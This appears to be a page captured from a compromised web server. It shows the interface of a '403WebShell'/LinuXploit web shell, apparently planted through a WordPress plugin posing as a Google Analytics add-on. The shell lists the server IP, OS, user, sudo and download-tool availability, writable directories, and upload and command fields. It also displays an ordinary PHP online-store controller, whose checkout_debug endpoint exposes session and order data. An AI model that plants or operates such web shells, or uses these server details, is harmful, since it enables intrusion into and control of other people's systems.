Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/store/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/store/controller/store.php
<?php

class shop_controller extends Controller {

	private $level;
	private $user_id;
	private $model_product;
	private $model_cart;
	private $model_order;
	private $model_address;

	public function __construct() {
		parent::__construct(dirname(__DIR__));
		$this->level = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_level'] : 0;
		$this->user_id = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_id'] : 0;
		$temp = $_SESSION['unverified'] ?? 0;
		if (!$this->user_id && $temp) $this->user_id = $temp;
		$this->model_product = $this->LoadModel('product_model');
		$this->model_cart = $this->LoadModel('cart_model');
		$this->model_order = $this->LoadModel('order_model');
		$this->model_address = $this->LoadModel('address_model');
		$this->model_order->ModelAddress($this->model_address);
	}

	public function __Register() {
		$this->RegisterView(__CLASS__ .'::index', ['storeclient_view' => ['store_product']]);
		$this->RegisterView(__CLASS__ .'::product', ['storeclient_view' => ['store_product']]);
		$this->RegisterView(__CLASS__ .'::category', ['storeclient_view' => ['store_category']]);
		$this->RegisterView(__CLASS__ .'::cart', ['storeclient_view' => ['store_cart']]);
		$this->RegisterView(__CLASS__ .'::checkout', ['storeclient_view' => ['store_checkout', 'login_email', 'store_address', 'store_panel', 'store_panel_freight', 'store_panel_subtotal']]);
		$this->RegisterView(__CLASS__ .'::confirmation', ['storeclient_view' => ['store_confirm']]);
		$this->RegisterView(__CLASS__ .'::checkout_debug', ['storeclient_view' => ['store_checkout_debug']]);
		$this->RegisterView(__CLASS__ .'::snafu', ['storeclient_view' => ['store_snafu']]);
	}
	
	public function __call($method, $args) {
		//the parameter must be numeric - don't intercept if not
		if (!is_numeric($args[0])) return FALSE;
		
		$this->model_product->RecordId($args[0]);
		// the record must exist, don't intercept if not
		if ($this->model_product->empty()) return FALSE;
		
		// return segments (without controller)
		return array_merge( ['product', $method], $args);
	}
	
	/** everyone */
	public function index() {
		$res = $this->DefaultResult(__METHOD__);
		$this->model_product->RecordId(1);
		$data = $this->model_product->AsHandleBars();
		$data = hook_execute('template.product', $data);
		$res['template'] = 'store_product';
		$res['priceformat'] = intval($this->settings['priceformat'] ?? '1');
		return array_merge($res, $data);
	}
	
	/** everyone */
	public function product($slug, $product_id, $action = '') {
		hook_add('html.head', [$this, '__opengraph']);
		$res = $this->DefaultResult(__METHOD__);
		$this->model_product->RecordId($product_id);
		$data = $this->model_product->AsHandleBars();
		if ($this->isPost) {		//
			// locate new product from variation
			$result = hook_execute('product.variation', FALSE, $data);
			if ($result !== FALSE) {
				$product_id = $result;
				$this->model_product->RecordId($product_id);
				$data = $this->model_product->AsHandleBars();
				$data['history'] = $data['uri'];
			}
			//$product_id = 0;
		}
		$data = hook_execute('template.product', $data);
		$res['template'] = 'store_product';
		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
		$res['priceformat'] = intval($settings['priceformat'] ?? '1');
		return array_merge($res, $data);
	}
	
	/** everyone */
	public function cart() {
		$res = $this->DefaultResult(__METHOD__);
		if ($this->isPost) {
			$action = $this->post('action');
			switch($action) {
				case 'add':			// add an item to the cart
					$product_id = $this->post('product');
					$customization = $this->post('custom', '');
					$this->model_product->RecordId($product_id);
					$product_data = $this->model_product->AsHandleBars();
					$product_data['custom'] = $customization;
					$data = $this->model_cart->addToCart($product_data);
					return $data;

				case 'quantity':	// change the quantity of an item in the cart
					$product_id = $this->post('product');
					$quantity = intval($this->post('quantity', '0'));
					$custom  = $this->post('custom', '');
					$this->model_product->RecordId($product_id);
					$product_data = $this->model_product->AsHandleBars(FALSE, TRUE);		// this is the original undiscounted price
					$data = $this->model_cart->updateQuantity($product_data, $quantity, $custom);
					$data['dprice'] = '$' . sprintf('%0.2f', $data['price']);
					return $data;
			}
		}
		$res['template'] = 'store_cart';
		$data = $this->model_cart->asHandlebars();
		$res = array_merge($res, $data);
		$res = hook_execute('cart.display', $res);
		return $res;
	}

	/** everyone */
	public function checkout($action = '', $guid = '') {
		$ip_address = $this->getClientIP();
		$this->model_address->UserId($this->user_id);
		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
		$this->model_order->DefaultAddress($settings['default_address'] ?? '');
//		error_log('default: ' . $this->model_order->DefaultAddress() . ' ' . json_encode($settings));
		
		$order_id = $this->model_order->initializeOrder($this->user_id, $ip_address);			// create an order from the session cart

		if ($this->isPost) {
			$res = [];
			$action = $this->post('action');
			
			$res = hook_execute('order.update.' . $action, $res, $order_id, $this->post(), $settings);
			$next = $this->post('nexttab', FALSE);		// missing when form submitted
			$rc = $res['result'] ?? 0;
			
			if (!$rc && $next) {		// all ok
				$res['accordion'] = $next;
				try {
					$res = hook_execute('order.json.' . $next, $res, $order_id, $this->user_id);
				} catch (\Exception $e) {
					return [
						'result'	=> 91132,
						'message'	=> $e->getMessage(),
					];
				}
				$res['html'][] = [
						'field' => 'subtotals',
						'template' => 'store_panel_subtotal',
				];
				$data = $this->model_order->AsHandleBars();
				$res = array_merge($data, $res);
			}
			if ($next == 'delivery' && ($res['country'] ?? '') == '') {
				$info = NULL;
				$info = hook_execute('geoip.lookup', $info, $ip_address);	// ip address to country
				$res['country'] = $info['country'] ?? 'US';
			}
			return $res;
		}

		$res = $this->DefaultResult(__METHOD__);
		if ($action == 'new-address') {
			// data for new address popup
			$res['popup'] = [
				'title' 	=> 'New Delivery Address',
				'modal' 	=> 1,
				'width' 	=> 770,
				'template'	=> 'store_address',
				'list_country' => hook_execute('geoip.list', NULL),
				'single'	=> $this->model_address->AsHandleBars_Single(),
				'default'	=> $settings['default_address'] ?? '',
				'button'	=> ['Save'],
			];
			$location = hook_execute('geoip.lookup', NULL, $ip_address);
			if (isset($location['country'])) $res['popup']['country'] = $location['country'];
			return $res;
		} elseif ($action == 'edit-address') {
			$res['popup'] = [
				'title' 	=> 'Edit Delivery Address',
				'modal' 	=> 1,
				'width' 	=> 770,
				'template'	=> 'store_address',
				'list_country' => hook_execute('geoip.list', NULL),
				'default'	=> $settings['default_address'] ?? '',
				'single'	=> $this->model_address->AsHandleBars_Single(),
			];
			
			$address = new AddressClass;
			$data = $address->Guid($guid)->AsHandleBars();
			$res['popup'] = array_merge($res['popup'], $data);
			return $res;
		}

		$res = hook_execute('order.json.full', [], $order_id, $this->user_id);
		if (!$res['totalqty']) {
			$this->redirect('/store/cart');
		}

		$location = hook_execute('geoip.lookup', NULL, $ip_address);
		if (isset($location['country']) && empty($res['country']) ) $res['country'] = $location['country'];
		return $res;
	}
	
	private function _loginAsUser($user_id) {
		if ($user_id) {
			// get userinfo
			$info = hook_execute('user.info', [], $user_id);
			
			$user_info = new \StdClass;
			$user_info->user_id = $user_id;
			$user_info->level = $info[6];
			$user_info->name_first = $info[4];
			$user_info->name_last = $info[5];
			
			// log in as the old user
			hook_execute('login', 0, $user_info);			// log in as user $user_id
			// update $this->user_id, and level
			$this->user_id = $user_info->user_id;
			$this->level = $user_info->level;
		}
	}
	
	public function confirmation($ordernum = '') {
		// if we are logged in as someone else?
		
		$res = $this->DefaultResult(__METHOD__);
		$res['ordernum'] = $ordernum;
		$res['template'] = 'store_confirm';
		
		if ($this->isPost) {
			// set password
			$valid = hook_execute('nonce.verify', FALSE, 'store.u', FALSE, $this->post('auth', ''));
			if (!empty($valid)) {
				$password = $this->post('u_password', '');
				$cpassword = $this->post('c_password', '');
				if ($password != $cpassword) {
					return [
						'result' => 18882,
						'message' => 'Passwords do not match',
					];
				} elseif ($password == '') {
					return [
						'result' => 18883,
						'message' => 'Password cannot be empty',
					];
				}

				$this->_loginAsUser($valid);

				// set the password
				hook_execute('user.password', FALSE, $password);
				// redisplay current page (or move to MyAccount)
			}
			return [
				'redirect' => TRUE,
			];
		}

		// get order info
		$this->model_order->OrderNumber($ordernum);
		$delivery = $this->model_order->Delivery();
		
		$address = new \AddressClass();
		$address->Guid($delivery);
		$info = $address->asHandleBars();
		$res['name'] = $info['name'];
		$res['address'] = $info['text'];

		$data = $this->model_order->AsHandleBars();
		$data['cart'] = $this->model_order->AsHandleBars_Items();
		$data['estimated'] = date('l, F j, Y', $this->model_order->EstimatedDelivery());
		$data = hook_execute('cart.display', $data);		// add images
		foreach($data['cart'] as &$cartitem) {
			if ($cartitem['quantity'] > 1) {
				$cartitem['qty'] = $cartitem['quantity'];
			}
		}
		$res = array_merge($res, $data);
		
		// confirmation cookie present?
		$valid = hook_execute('nonce.verify', FALSE, 'store.u', FALSE, $_SESSION['confirmation'] ?? '');
		$this->_loginAsUser($valid);
		$param = hook_execute('user.password', FALSE, FALSE);
		if (!$param && $valid) {
			
			$info = hook_execute('user.info', [], $valid);
			$sources = $info[7] ?? [];
			// password required when source is email (not: google, facebooks, m$, etc) 
			$res['needpassword'] = 1;
			foreach($sources as $source) {
				if ($source['source'] != 'internal') {		// we have an external Authentication Provider
					$res['needpassword'] = 0;
					break;
				}
			}
			$res['auth'] = hook_execute('nonce.create', FALSE, 'store.u', $valid);
		}
		return $res;
	}
	
	/** everyone */
	public function checkout_debug() {
		$ip_address = $this->getClientIP();
		$order_id = $this->model_order->initializeOrder($this->user_id, $ip_address);			// create an order from the session cart

		$data = $this->model_order->AsHandleBars();
		$data['u_id'] = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_id'] : 0;;
		$data['unverified'] = $_SESSION['unverified'] ?? 0;
		$data['ipaddress'] = $ip_address;
		$data['cart'] = $this->model_order->AsHandleBars_Items();
		$data['store_cart'] = $_SESSION['store_cart'] ?? FALSE;
		$data['store_changed'] = $_SESSION['store_changed'] ?? FALSE;
		$data['postcode'] = $this->model_order->PostCode();
		$data['country'] = $this->model_order->Country();
		$guid = $this->model_order->Delivery();
		$data['address'] =  $this->model_address
									->UserId($this->user_id)
									->asJson($guid);

		$res = $this->DefaultResult(__METHOD__);
		$res['order_id'] = $data['order_id'];
		$res['template'] = 'store_checkout_debug';
		$res['debug'] = json_encode($data, JSON_PRETTY_PRINT |  JSON_UNESCAPED_SLASHES);
		return $res;
	}

	/** everyone */
	public function category($slug, $category_id) {
		$res = $this->DefaultResult(__METHOD__);
		$model_productgroup = $this->LoadModel('productgroup_model');
		$model_productgroup->RecordId($category_id);
		
		$categories = $model_productgroup->getChildCategories();
		
		$info = $model_productgroup->AsHandleBars();
		$res = array_merge($res, $info);
		$res['page_title'] = $info['sc_caption'];
		$res['template'] = 'store_category';
		$res['product'] = $this->model_product->getProductsInGroup($categories);
		$res['priceformat'] = intval($this->settings['priceformat'] ?? '1');
		$this->model_product->RecordId(0);

		
// customers also viewed		
// top rated
// best sellers
// hot new releases
// 4 stars and above
// under $25
// most wished for
// most gifted
// recommended for you
// product list
		return $res;
	}

	/** everyone */
	public function sku($sku = '') {
		$this->model_product->LocateBySKU($sku);
		$data = $this->model_product->AsHandleBars();
		$product_id = intval($data['sp_id']);
		if (!$product_id) {
			$this->Redirect('/');
		} else {
			$this->Redirect($data['uri']);
		}
	}



	/** everyone */
	public function estimate($ordernum = '') {
		$res = $this->DefaultResult(__METHOD__);
		$this->model_order->OrderNumber($ordernum);
		$delivery = $this->model_order->Delivery();
		
		$address = new \AddressClass();
		$address->Guid($delivery);
		$info = $address->asHandleBars();
		
		$orderdate = $this->model_order->Date();
		// retrieve shipping details
		$freight = $this->model_order->Freight();
		// determine next business day -- this is the shipping date from the original freight pricing request
		// add transit days
		
		$res['body'] = '<h2>Estimated Delivery Date</h2><pre>' . htmlspecialchars(var_export($info, 1)) . '</pre>';
		$res['body'] .= $orderdate . '<br>';

		$info = $this->model_order->asJson_Freight();

		$res['body'] .= '<pre>' . htmlspecialchars(var_export($info, 1)) . '</pre>';
		return $res;
	}

	/** everyone */
	public function snafu($errornum = 1) {
		$res = $this->DefaultResult(__METHOD__);
		$http_status = new http_status($errornum);
		
		$data = [
			'message' 	=> 'Unknown Error',
			'desc'		=> 'Something went wrong',
		];

		if ($errornum == 1) {
			$data['message'] = 'Store not Configured';
			$data['desc'] = 'We are sorry, the Online Store has not been set up.';
		} else {
			$data = hook_execute('output.errordetail', $data, $http_status);
		}
		
		$res['template'] 	= 'store_snafu';
		$res['page_title']	= $data['message'];
		$res['desc']		= $data['desc'];
		$res['className']	= 'snafu';
		return $res;
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit